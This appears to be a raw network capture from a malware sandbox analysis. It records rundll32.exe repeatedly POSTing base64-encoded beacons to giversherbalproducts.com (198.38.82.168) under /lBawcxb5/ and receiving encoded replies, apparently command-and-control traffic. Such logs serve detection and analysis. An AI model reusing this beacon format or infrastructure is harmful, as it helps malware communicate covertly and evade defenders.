47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpye0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49809	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:37.517568111 CEST	1152	OUT	POST /lBawcxb5/GAUAID5zCzE+BzoOJAtGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:37.981707096 CEST	1154	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpye0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49810	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:37.944353104 CEST	1153	OUT	POST /lBawcxb5/GAUAID5zCzE+BzoOJAtGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:38.446456909 CEST	1156	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpydEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49811	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:38.418565035 CEST	1155	OUT	POST /lBawcxb5/fxgDNT4yEngregozMnp+J0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:38.905348063 CEST	1158	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpydEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49812	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:38.831331968 CEST	1157	OUT	POST /lBawcxb5/fxgDNT4yEngregozMnp+J0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:39.278094053 CEST	1159	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpydUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49813	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:39.378473997 CEST	1159	OUT	POST /lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:39.830125093 CEST	1161	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpydUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49814	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:39.662822962 CEST	1160	OUT	POST /lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:40.227289915 CEST	1162	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49759	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:11.484220982 CEST	1048	OUT	POST /lBawcxb5/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:11.974344015 CEST	1050	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49815	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:40.296449900 CEST	1163	OUT	POST /lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:40.780448914 CEST	1164	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49816	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:40.670412064 CEST	1164	OUT	POST /lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:41.151341915 CEST	1166	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49817	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:41.171173096 CEST	1166	OUT	POST /lBawcxb5/P3glHSkheRgAfBMIMgUiKCMaGD4dK0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
